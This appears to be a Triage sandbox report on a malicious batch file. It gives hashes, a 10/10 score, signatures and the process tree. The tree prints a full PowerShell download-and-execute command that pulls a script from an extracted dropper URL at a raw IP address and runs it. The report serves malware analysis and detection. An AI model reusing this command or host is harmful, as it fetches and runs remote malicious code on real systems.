f4cc72498bffce63ae55294e28cdf826ee706385369edbba23a3953c60097a19 | Triage

Analysis

max time kernel
127s
max time network
149s
platform
windows10_x64
resource
win10v200430
submitted
02-05-2020 20:10

Sharing

Report Analysis Logs

General

Target

9LqmY8y8.bat
Size

189B
MD5

409cb77ca0557e5e095df01063ea8ff3
SHA1

e664180fcedc6210419e8382edcb017f9dcd2363
SHA256

f4cc72498bffce63ae55294e28cdf826ee706385369edbba23a3953c60097a19
SHA512

88cda05b09f04c3ea95eceec40d441f616b9cce3e5b39e569ced01bb030ba8cc40a77f49521d3ca7db7db838f93895cfec52248b4d0a5f58ba36344cd39c85e8

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/9LqmY8y8

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2084 1884 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2084 WerFault.exe
Token: SeBackupPrivilege 2084 WerFault.exe
Token: SeDebugPrivilege 2084 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe
2084	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 4 http://www.msftconnecttest.com/connecttest.txt

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\9LqmY8y8.bat"
1⤵
PID:1612

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/9LqmY8y8');Invoke-CZHNNB;Start-Sleep -s 10000"
2⤵
PID:1884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2084

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2084-0-0x0000000004200000-0x0000000004201000-memory.dmp

Filesize
4KB

Download
memory/2084-1-0x0000000004930000-0x0000000004931000-memory.dmp

Filesize
4KB

Download